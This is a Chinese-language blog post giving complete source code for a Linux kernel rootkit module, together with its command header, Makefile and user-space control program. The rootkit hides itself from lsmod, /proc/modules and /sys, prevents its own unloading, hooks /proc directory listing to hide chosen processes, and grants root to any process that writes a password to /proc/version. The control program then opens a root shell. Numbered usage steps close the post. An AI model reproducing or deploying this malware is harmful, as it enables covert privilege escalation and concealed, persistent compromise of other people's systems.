rootkit:在隐藏模块的基础上隐藏进程

        上篇随笔中实现了隐藏进程，在实际的处理中，经常会用模块来达到修改系统调用的目的，但是当插入一个模块时，若不采取任何隐藏措施，很容易被对方发现，一旦对方发现并卸载了所插入的模块，那么所有利用该模块来隐藏的文件就暴露了，所以应继续分析如何来隐藏特定名字的模块。

        这里我们可以通过/proc文件系统来向内核传递命令的方式，实现获取root权限、隐藏模块、隐藏进程、显示进程、显示模块、允许卸载模块等功能。

       对于什么是/proc文件系统，以及如何通过它来跟内核通信，可以参考这里： http://www.ibm.com/developerworks/cn/linux/l-proc.html

      下面直接贴代码：

     

  1 /*rootkit.c*/

  2 #include <linux/module.h>

  3 #include<linux/kernel.h>

  4 #include<linux/proc_fs.h>

  5 #include<linux/sched.h>

  6 #include<linux/string.h>

  7 #include<linux/cred.h>

  8 #include<linux/stat.h>

  9 #include<linux/uaccess.h>

 10 #include<linux/file.h>

 11 #include "rootkit_conf.h"

 12 

 13 MODULE_LICENSE("GPL") ;

 14 MODULE_AUTHOR("Ormi<[email protected]>") ;

 15 MODULE_DESCRIPTION("Simple rootkit using procfs") ;

 16 MODULE_VERSION("0.1.2");

 17 static int failed;

 18 int orig_cr0;

 19 static char pid[10][32];

 20 static int pid_index;

 21 /* Here are pointers in which we save original, replaced pointers. We use

 22 them later, during unloading the module.

 23 I think that their names explain what they are ;) */

 24 static int (*old_proc_readdir)(struct file *, void *, filldir_t);

 25 static filldir_t old_filldir ;

 26 static ssize_t (*old_fops_write) (struct file *, const char __user *,size_t, loff_t *);

 27 static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t*);

 28 static write_proc_t *old_write;

 29 static read_proc_t *old_read;

 30 static struct proc_dir_entry *ptr; /* Pointer to "infected" entry */

 31 static struct proc_dir_entry *root; /* Pointer to /proc directory */

 32 static struct list_head *prev; /* Pointer to entry in main modules list whichwas before our module before we hid the rootkit */

 33 static struct file_operations *fops; /* file_operations of infected entry */

 34 static struct file_operations *root_fops; /* file_operations of /procdirectory */

 35 

 36 

 37 static unsigned int clear_and_return_cr0(void)//

 38 {

 39     unsigned int cr0 = 0;

 40     unsigned int ret;

 41 

 42     asm volatile ("movl %%cr0, %%eax"

 43             : "=a"(cr0)//eaxcr0

 44          );

 45     ret = cr0;//

 46 

 47     /*clear the 16th bit of CR0,*/

 48     cr0 &= 0xfffeffff;

 49     asm volatile ("movl %%eax, %%cr0"

 50             :

 51             : "a"(cr0)

 52          );

 53     return ret;

 54 }

 55 

 56 static void setback_cr0(unsigned int val)

 57 {

 58     asm volatile ("movl %%eax, %%cr0"

 59             :

 60             : "a"(val)

 61          );

 62 }

 63 

 64 static inline void module_remember_info(void)//save the pointer to the prev of hide module

 65 {

 66     prev = THIS_MODULE->list.prev;

 67 }

 68 static inline void module_show(void)//lsmod

 69 {

 70     list_add(&THIS_MODULE->list, prev); /* We add our module to main list of modules */

 71 }

 72 

 73 /* Parameter of this function is pointer to buffer in which there should be

 74 command */

 75 

 76 static int check_buf(const char __user *buf)

 77 {

 78     /* Here we give root privileges */

 79     struct cred *new = prepare_creds();//return current process's cred struct

 80     if (!strcmp(buf, password)) {

 81     new->uid = new->euid = 0;

 82     new->gid = new->egid = 0;

 83     commit_creds(new);

 84     }

 85 

 86     /* Here we make possible to unload the module by "rmmod" */

 87     else if (!strcmp(buf, module_release))

 88         module_put(THIS_MODULE);//count--

 89     /* Here we make module visible */

 90     else if (!strcmp(buf, module_uncover))

 91         module_show();//add to the list

 92     /* We hide process */

 93     else if (!strncmp(buf, hide_proc, strlen(hide_proc))) {

 94         if (pid_index > 9)  /*max number of the hided process is 10*/

 95         return 0;

 96         sprintf(pid[pid_index], "%s", buf + 5);

 97         pid_index++;

 98     }

 99 /* We "unhide" lastly hidden process */

100     else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) {

101         if (!pid_index)

102         return 0;

103         pid_index--;

104     }

105 /* If we are here, there was no command passed */

106     else

107         return 1;

108     return 0;

109 }

110 

111 

112 

113 /* Our "write" function */

114 static int buf_write(struct file *file, const char __user *buf,unsigned long count, void *data)

115 {

116     /* If check_buf return 0, there was command passed */

117     if (!check_buf(buf))

118         return count;

119     /* Otherwise we execute original function */

120     return old_write(file, buf, count, data);

121 }

122 

123 

124 

125 /* Our "read" function for read_proc field*/

126 static int buf_read(char __user *buf, char **start, off_t off,int count, int *eof, void *data)

127 {

128     if (!check_buf(buf))

129         return count;

130     return old_read(buf, start, off, count, eof, data);

131 }

132 

133 

134 /* For file_operations structure */

135 static ssize_t fops_write(struct file *file, const char __user *buf_user,size_t count, loff_t *p)

136 {

137     if (!check_buf(buf_user))

138         return count;

139     return old_fops_write(file, buf_user, count, p);

140 }

141 

142 

143 /* For file_operations structure */

144 static ssize_t fops_read(struct file *file, char __user *buf_user,size_t count, loff_t *p)

145 {

146     

147     if (!check_buf(buf_user))

148         return count;

149     return old_fops_read(file, buf_user, count, p);

150 }

151 

152 

153 /* Our filldir function */

154 static int new_filldir(void *__buf, const char *name, int namelen,loff_t offset, u64 ino, unsigned d_type)

155 {

156     int i;

157     /* We check if "name" is pid of one of hidden processes */

158     for (i = 0; i < pid_index; i++)

159     if (!strcmp(name, pid[i]))

160         return 0; /* If yes, we don't display it */

161     /* Otherwise we invoke original filldir */

162     return old_filldir(__buf, name, namelen, offset, ino, d_type);

163 }

164 

165 

166 

167 /* Our readdir function */

168 static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir)

169 {

170     /* To invoke original filldir in new_filldir we have to remeber pointer to

171     original filldir */

172     old_filldir = filldir;

173     /* We invoke original readdir, but as "filldir" parameter we give pointer to

174     our filldir */

175     return old_proc_readdir(filp, dirent, new_filldir) ;

176 }

177 

178 

179 

180 /* Here we replace readdir function of /proc */

181 static inline void change_proc_root_readdir(void)

182 {

183     root_fops = (struct file_operations *)root->proc_fops;

184     old_proc_readdir = root_fops->readdir;

185 

186     root_fops->readdir = new_proc_readdir;

187     

188 }

189 

190 

191 static inline void proc_init(void)//commond

192 {

193     ptr = create_proc_entry("temporary", 0444, NULL);

194     ptr = ptr->parent;

195     /* ptr->parent was pointer to /proc directory */

196     /* If it wasn't, something is seriously wrong */

197     if (strcmp(ptr->name, "/proc") != 0) {

198         failed = 1;

199         return;

200     }

201     root = ptr;

202     remove_proc_entry("temporary", NULL);

203     

204     orig_cr0 = clear_and_return_cr0();

205     change_proc_root_readdir(); /* We change /proc's readdir function */

206     setback_cr0(orig_cr0); /*set the wp*/

208     ptr = ptr->subdir;

209     /* Now we are searching entry we want to infect */

210     while (ptr) {

211         if (strcmp(ptr->name, passwaiter) == 0)

212         goto found; /* Ok, we found it */

213         ptr = ptr->next; /* Otherwise we go to next entry */

214     }

215     /* If we didn't find it, something is wrong :( */

216     failed = 1;

217     return;

218 found:

219     /* Let's begin infecting */

220     /* We save pointers to original reading and writing functions, to restore them during unloading the rootkit */

221     old_write = ptr->write_proc;

222     old_read = ptr->read_proc;

223     fops = (struct file_operations *)ptr->proc_fops; /* Pointer tofile_operations structure of infected entry */

224     old_fops_read = fops->read;

225     old_fops_write = fops->write;

226     

227     orig_cr0 = clear_and_return_cr0();  /*set back the wp*/

228     

229     /* We replace write_proc/read_proc */

230     if (ptr->write_proc)

231         ptr->write_proc = buf_write;

232     else if (ptr->read_proc)

233         ptr->read_proc = buf_read;

234         

235     /* We replace read/write from file_operations */

236     if (fops->write)

237         fops->write =fops_write;

238      else if (fops->read)

239         fops->read = fops_read;

240         

241     setback_cr0(orig_cr0);

242     /* There aren't any reading/writing functions? Error! */

243     if (!ptr->read_proc && !ptr->write_proc &&!fops->read && !fops->write) {

244         failed = 1;

245         return;

246     }

247 }

248 

249 

250 /* This functions does some "cleanups". If we don't set some pointers tu

251 NULL,

252 we can cause Oops during unloading rootkit. We free some structures,

253 because we don't want to waste memory... */

254 static inline void tidy(void)

255 {

256     kfree(THIS_MODULE->notes_attrs);

257     THIS_MODULE->notes_attrs = NULL;

258     kfree(THIS_MODULE->sect_attrs);

259     THIS_MODULE->sect_attrs = NULL;

260     kfree(THIS_MODULE->mkobj.mp);

261     THIS_MODULE->mkobj.mp = NULL;

262     THIS_MODULE->modinfo_attrs->attr.name = NULL;

263     kfree(THIS_MODULE->mkobj.drivers_dir);

264     THIS_MODULE->mkobj.drivers_dir = NULL;

265 }

266 

267 

268 

269 /*

270 We must delete some structures from lists to make rootkit harder to detect.

271 */

272 static inline void rootkit_hide(void)

273 {

274     list_del(&THIS_MODULE->list);//lsmod,/proc/modules

275     kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules

276     list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry

277 }

278 

279 

280 static inline void rootkit_protect(void)

281 {

282     try_module_get(THIS_MODULE);// count++

283 }

284 

285 

286 static int __init rootkit_init(void)

287 {

288     module_remember_info();

289     proc_init();

290     if (failed)

291         return 0;

292     rootkit_hide();

293     tidy();

294     rootkit_protect();

295     return 0 ;

296 }

297 

298 

299 

300 static void __exit rootkit_exit(void)

301 {

302     /* If failed, we don't have to do any cleanups */

303     if (failed)

304         return;

305     orig_cr0 = clear_and_return_cr0();

306     root_fops->readdir = old_proc_readdir;

307     fops->write = old_fops_write;

308     fops->read = old_fops_read;

309     ptr->write_proc = old_write;

310     ptr->read_proc = old_read;

311     setback_cr0(orig_cr0);

312 }

313 

314 

315 module_init(rootkit_init);

316 module_exit(rootkit_exit);

命令头文件：

1 /*rootkit_conf.h*/

2 static char password[] = "secretpassword" ; //give here password

3 static char passwaiter[] = "version" ; //here is name of entry to infect in /proc - you pass commands to it

4 static char module_release[] = "release" ; //command to release the module(make possible to unload it)

5 static char module_uncover[] = "uncover" ; //command to show the module

6 static char hide_proc[] = "hide" ; //command to hide specified process

7 static char unhide_proc[] = "unhide"; //command to "unhide" last hidden process

对应的Makefile

1 KERNELDIR=/usr/src/linux-headers-3.2.0-39-generic-pae

2 PWD:=$(shell pwd)

3 obj-m :=rootkit.o

4 modules:

5     $(MAKE) -C $(KERNELDIR) M=$(PWD) modules

6 clean:

7     rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.order *.symvers

测试程序：

 1 /*test_rootkit.c*/

 2 #include<stdio.h>

 3 #include<unistd.h>

 4 #include<fcntl.h>

 5 #include<string.h>

 6 #include<errno.h>

 7 #include<sys/stat.h>

 8 #include "rootkit_conf.h"

 9 static char file[64];

10 static char command[64];

11 int root = 0;

12 int main(int argc, char *argv[])

13 {

14     if(argc < 2) 

15     {

16         fprintf(stderr, "Usage: %s <command>\n", argv[0]);

17         return 1;

18     }

19     int fd ;

20     /* We get path to infected entry */

21     sprintf(file, "/proc/%s", passwaiter);

22     

23     /* If sent command is equal to command which has to give us root, we must run shell at the end */

24     if(!strcmp(argv[1], password))

25         root = 1;

26         

27     /* At first we try to write command to that entry */

28     fd = open(file, O_WRONLY);

29     if(fd < 1) 

30     {

31         printf("Opening for writing failed! Trying to open for reading!\n");

32         /* Otherwise, we send command by reading */

33         fd = open(file, O_RDONLY);

34         if(!fd) {

35             perror("open");

36         return 1;

37         }

38         read(fd, argv[1], strlen(argv[1]));

39     }

40     else

41       write(fd, argv[1], strlen(argv[1]));

42 end:

43     close(fd) ;

44     printf("[+] I did it!\n") ;

45     /* if we have to get root, we run shell */

46     if(root) {

47         uid_t uid = getuid() ;

48         printf("[+] Success! uid=%i\n", uid) ;

49         setuid(0) ;

50         setgid(0) ;

51         execl("/bin/bash", "bash", 0) ;

52     }

53     return 0;

54 }

编译生成模块 rootkit.ko,并加载进内核

默认情况下，我们已经隐藏了模块rootkit.ko 所以不管是 lsmod 还是 ls /proc/modules 或则 ls /sys/modules 是看不到rootkit.ko的。

此时编译运行test_rootkit.c

并传入参数：1：secretpassword 此时可以获得root权限

                     2：uncover  此时运行lsmod可以查看到模块rootkit.ko

                     3:  release   此时才可以用rmmode卸载模块rootkit.ko，默认情况下是不可以卸载的，因为我们在模块里设置了正在使用模块标记count=1,所以必须传命令release 让count=0，这样才可以卸载

                    4：hide：12   此时就可以隐藏进程号为12的进程

                    5：unhide     此时就可以显示最近隐藏的进程